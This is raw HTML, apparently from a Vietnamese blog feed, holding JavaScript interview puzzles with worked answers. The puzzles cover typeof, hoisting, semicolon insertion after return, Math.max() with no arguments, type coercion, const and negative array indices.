<span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span>parameter<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, <em>parameter</em> sẽ tương ứng với <em>p</em>.Quay lại với câu hỏi, <em>foo</em> chính là <a href="/array-la-gi-array-trong-javascript/">array</a> [1, 2, 3].</p> <p><strong>Toán tử <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></strong> sẽ trả về string biểu diễn kiểu dữ liệu của toán hạng tương ứng. Tuy nhiên, bạn cần chú ý là <strong>typeof (array)</strong> luôn trả về "object" chứ không phải "array".</p> <p>Như vậy, đáp án cho câu hỏi này phải là: "object".</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-2--câu-3" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-2--c%C3%A2u-3" aria-label="xoắn não với phỏng vấn javascript 2 câu 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 2 – Câu 3</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Cách 1:</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// Cách 2:</span> <span class="token keyword">let</span> <span class="token function-variable function">func</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Hai cách khai báo function trên khác nhau như thế nào? Nêu ví dụ minh họa?</p> <div class="wrap-collapsible"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Hai cách trên đều dùng để khai báo function, nhưng chúng khác nhau ở những điểm sau:</p> <p>Cách 1 gọi là <strong>function declaration</strong>. Trong khi, cách 2 gọi là <strong>function expression</strong>.</p> <p>Cách 1 bắt buộc phải có tên. Ngược lại, cách thứ 2 bạn có thể bỏ qua tên của function. Chú ý: tên của function là thành phần ở giữa <em>function</em> và <em>()</em>. Tức là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Function declaration</span> <span class="token keyword">function</span> <span class="token function">name</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// Đúng</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// Lỗi: SyntaxError: Unexpected token (</span> <span class="token comment">// Function expression</span> <span class="token keyword">let</span> <span class="token function-variable function">name</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// Đúng</span> <span class="token keyword">let</span> <span class="token function-variable function">name</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token function">a</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// Đúng</span></code></pre></div> <p>Function declaration được <strong>hoisted</strong>. Function expression thì không. Và <strong><a href="https://developer.mozilla.org/en-US/docs/Glossary/Hoisting">hoisting</a></strong> được hiểu nôm na là mọi biến, hàm được hoisted sẽ được <em>đưa lên</em> vị trí đầu tiên trong block chứa nó.</p> <p>Do đó, nếu sử dụng cách 1, bạn có thể gọi hàm trước khi khai báo hàm. Ngược lại, khi sử dụng cách 2, bạn buộc phải định nghĩa hàm trước khi sử dụng nó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Cách 1:</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Đúng</span> <span class="token keyword">function</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Cách 2:</span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: ReferenceError: func is not defined</span> <span class="token keyword">let</span> <span class="token function-variable function">func</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-2--câu-4" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-2--c%C3%A2u-4" aria-label="xoắn não với phỏng vấn javascript 2 câu 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 2 – Câu 4</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">cat</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token punctuation">{</span> <span class="token literal-property property">say</span><span class="token operator">:</span> <span class="token string">"meow"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án</strong>: undefined</p> <p><strong>Giải thích</strong>:</p> <p>Bởi vì, với JavaScript bạn có thể không cần sử dụng dấu chấm phẩy (;). Do đó, đoạn code trên sẽ tương đương với:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">cat</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">undefined</span><span class="token punctuation">;</span> <span class="token punctuation">{</span> <span class="token literal-property property">say</span><span class="token operator">:</span> <span class="token string">"meow"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">cat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => undefined</span></code></pre></div> <p>Vì vậy, đoạn code phía sau <em>return</em> sẽ không bao giờ được chạy đến. Để sửa lại kết quả sao cho đúng thì bạn có thể làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">cat</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">say</span><span class="token operator">:</span> <span class="token string">"meow"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">cat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {say: "meow"}</span></code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-2--câu-5" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-2--c%C3%A2u-5" aria-label="xoắn não với phỏng vấn javascript 2 câu 5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 2 – Câu 5</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">max</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible5" class="toggle" type="checkbox"> <label for="collapsible5" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> -Infinity</p> <p><strong>Giải thích:</strong></p> <p><strong>-Infinity</strong> tương ứng với <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY">Number.NEGATIVE_INFINITY</a> – là số âm vô cùng.</p> <p>Khi không có tham số được truyền vào hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max">Math.max</a> thì kết quả trả về sẽ là -Infinity.</p> <p>Nhưng tại sao kết quả lại là số này? Trước tiên cần xem xét thuật toán tìm số lớn nhất trong một mảng. Mình có thể implement lại như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">max</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> ans <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">Infinity</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">></span> ans<span class="token punctuation">)</span> ans <span class="token operator">=</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> ans<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Tức là để tìm ra số lớn nhất của mảng, mình cần khởi tạo <em>ans</em> với giá trị nhỏ nhất có thể. Sau đó, mình duyệt từng phần tử của mảng và kiểm tra nếu như phần tử đó lớn hơn giá trị nhỏ nhất hiện tại thì gán ans = giá trị phần tử hiện tại. Đó chính là lý do tại sao bạn có thể suy ra kết quả là -Infinity mà không cần đọc tài liệu.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-2--câu-6" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-2--c%C3%A2u-6" aria-label="xoắn não với phỏng vấn javascript 2 câu 6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 2 – Câu 6</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0</span> <span class="token operator">+</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0</span> <span class="token operator">-</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0</span> <span class="token operator">*</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">0</span> <span class="token operator">/</span> <span class="token string">"0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible6" class="toggle" type="checkbox"> <label for="collapsible6" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">00 0 0 NaN</code></pre></div> <p><strong>Giải thích:</strong></p> <p>Khi thực hiện <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">tính toán trong JavaScript</a> mà kiểu dữ liệu của các toán hạng là khác nhau thì JavaScript sẽ tự động convert chúng về cùng 1 kiểu dữ liệu.</p> <p>Ở câu hỏi, 2 toán hạng có kiểu dữ liệu lần lượt là number và string. Do đó, JavaScript sẽ phải convert chúng về cùng 1 kiểu.</p> <p><strong>Vấn đề là kiểu nào, number hay string?</strong></p> <p>Với toán tử + thì JavaScript sẽ ưu tiên convert về string. Do đó:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">0 + '0' = '0' + '0' = '00'</code></pre></div> <p>Với các toán tử còn lại (-, *, /), JavaScript sẽ convert về number. Bởi lẽ, các toán tử này không áp dụng được với string. Do đó:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">0 - '0' = 0 - 0 = 0; 0 * '0' = 0 * 0 = 0; 0 / '0' = 0 / 0 = NaN;</code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 6 câu hỏi phỏng vấn JavaScript cũng rất hay. Nếu bạn có cùng nhận xét với mình thì vui lòng để lại bình luận xuống phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/xoan-nao-voi-phong-van-javascript-3/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Xoắn não với phỏng vấn JavaScript 1]]><![CDATA[Xin chào bạn đến bài viết Xoắn não với phỏng vấn JavaScript 1 trong chuyên mục những câu hỏi phỏng vấn JavaScript. Hôm nay, mình sẽ giới thiệu với các bạn những câu đố cực kỳ hóc…]]>https://completejavascript.com/xoan-nao-voi-phong-van-javascript-1/https://completejavascript.com/xoan-nao-voi-phong-van-javascript-1/<![CDATA[ES6]]><![CDATA[IIFE]]><![CDATA[Quiz]]>Thu, 10 May 2018 00:00:25 GMT<p>Xin chào bạn đến bài viết <strong>Xoắn não với phỏng vấn JavaScript 1</strong> trong chuyên mục những câu hỏi phỏng vấn JavaScript. Hôm nay, mình sẽ giới thiệu với các bạn những câu đố cực kỳ hóc búa về JavaScript.</p> <p>Việc suy nghĩ trả lời những câu hỏi đó sẽ giúp bạn hiểu rõ hơn về ngôn ngữ lập trình này. Rồi bạn sẽ cảm thấy tự tin hơn với kiến thức của mình. Còn trường hợp bạn không thể trả lời được thì cũng đừng buồn nhé!</p> <blockquote> <p>You are not alone.</p> </blockquote> <p>Nào, bắt tay vào tìm hiểu thôi và nhớ là hãy suy nghĩ thật kĩ trước khi chạy thử hoặc xem đáp án nhé!</p> <h2 id="xoắn-não-với-phỏng-vấn-javascript-1---câu-1" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-1---c%C3%A2u-1" aria-label="xoắn não với phỏng vấn javascript 1 câu 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 1 - Câu 1</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> x<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">[</span>x<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token number">10000</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào?</p> <div class="wrap-collapsible"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án</strong>: -1</p> <p><strong>Giải thích</strong>:</p> <p>Theo mình đánh giá thì đây là một câu hỏi khá hay. Vì bạn sẽ học được 3 thứ sau:</p> <ul> <li>Sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a> (hằng số)</li> <li>Sử dụng chỉ số âm trong mảng</li> <li>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf">Array.prototype.indexOf()</a></li> </ul> <p><strong>1. Sử dụng const (hằng số)</strong></p> <p>Theo quan niệm thông thường, khi bạn khai báo một biến là hằng số thì giá trị của nó sẽ không bao giờ thay đổi. Tuy nhiên, const trong JavaScript sẽ hơi khác một chút, cụ thể như này:</p> <blockquote> <p>The <strong>const</strong> declaration creates a read-only reference to a value. It does <strong>not</strong> mean the value it holds is immutable, just that the variable identifier cannot be reassigned. For instance, in the case where the content is an object, this means the object's contents (e.g., its parameters) can be altered._</p> </blockquote> <p><strong>Nghĩa là sao?</strong></p> <p>Nghĩa là chỉ có <strong>địa chỉ</strong> của biến số là không thay đổi. Còn <strong>giá trị</strong> của biến số vẫn có thể thay đổi. Bây giờ, mình sẽ xét 3 kiểu dữ liệu chính của biến số là: <a href="/kieu-du-lieu-trong-javascript/">Number</a>, <a href="/object-la-gi-object-trong-javascript/">Object</a> và <a href="/array-la-gi-array-trong-javascript/">Array</a> (chú ý: String và Boolean sẽ giống với trường hợp của Number).</p> <p><strong>Number</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// => TypeError: Assignment to constant variable.</span></code></pre></div> <p>Trường hợp này, x là kiểu Number, mà bạn lại gán x cho một số khác. Thì thực chất bạn đã thay đổi địa chỉ của biến x rồi. Nên lỗi trên xảy ra là đương nhiên.</p> <p><strong>Object</strong></p> <p><strong>Trường hợp 1:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> a<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> a<span class="token punctuation">.</span>y <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> a<span class="token punctuation">.</span>z <span class="token operator">=</span> <span class="token number">30</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => {x: 10, y: 20, z: 30}</span></code></pre></div> <p>Trường hợp 1 đúng vì bạn chỉ thay đổi giá trị các thành phần bên trong object a. Bản thân object a vẫn giữ nguyên địa chỉ ban đầu.</p> <p><strong>Trường hợp 2:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> a <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">20</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// => TypeError: Assignment to constant variable.</span></code></pre></div> <p>Trường hợp 2 bị lỗi trên vì bạn đã gán biến a cho một object hoàn toàn mới – địa chỉ khác với object ban đầu.</p> <p><strong>Array</strong></p> <p><strong>Trường hợp 1:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">20</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">30</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [10, 20, 30]</span></code></pre></div> <p>Cũng tương tự như object, bạn chỉ thay đổi giá trị các thành phần bên trong array a. Bản thân địa chỉ array a vẫn không thay đổi.</p> <p><strong>Trường hợp 2:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">20</span><span class="token punctuation">,</span> <span class="token number">30</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// => TypeError: Assignment to constant variable.</span></code></pre></div> <p>Lại tương tự như object, bạn đã gán biến a cho một array hoàn toàn mới nên kết quả là bị lỗi như trên.</p> <p><strong>Quay lại với câu hỏi trên</strong>, việc khai báo x là const kiểu mảng rồi thay đổi giá trị <strong>x[-1] = -1</strong> là hoàn toàn đúng so với định nghĩa về const.</p> <p><strong>Tuy nhiên, sử dụng chỉ số âm thì lạ quá nhỉ? Liệu có đúng không?</strong></p> <p><strong>2. Sử dụng chỉ số âm trong mảng</strong></p> <p>Có lẽ bạn chỉ quen với việc là: chỉ số của mảng sẽ từ 0, 1, 2, 3,…</p> <p>Điều trên đúng, nhưng chưa đủ với JavaScript. Thực chất, chỉ số của mảng có thể là bất kỳ thứ gì. Nếu hiểu rộng ra một chút thì array sẽ gần giống object với <strong>key</strong> chính là chỉ số của mảng.</p> <p>Ví dụ: một array là a = [1, 2, 3] thì sẽ gần tương đương với object a = {0: 1, 1: 2, 2: 3}. Dĩ nhiên, mình chỉ nói là <strong>gần tương đương</strong> thôi nhé, vì đây là 2 kiểu dữ liệu khác nhau, prototype cũng khác nhau,…</p> <p>Nếu áp dụng điều này thì bạn có thể thấy chỉ số mảng có thể là số âm (-1) hay cũng có thể là string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> a<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [1, 2, 3, -1: -1]</span> a<span class="token punctuation">[</span><span class="token string">"x"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">100</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [1, 2, 3, -1: -1, x: 100]</span></code></pre></div> <p>Như vậy, sau 2 câu lệnh đầu tiên trong câu hỏi, ta thu được:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token 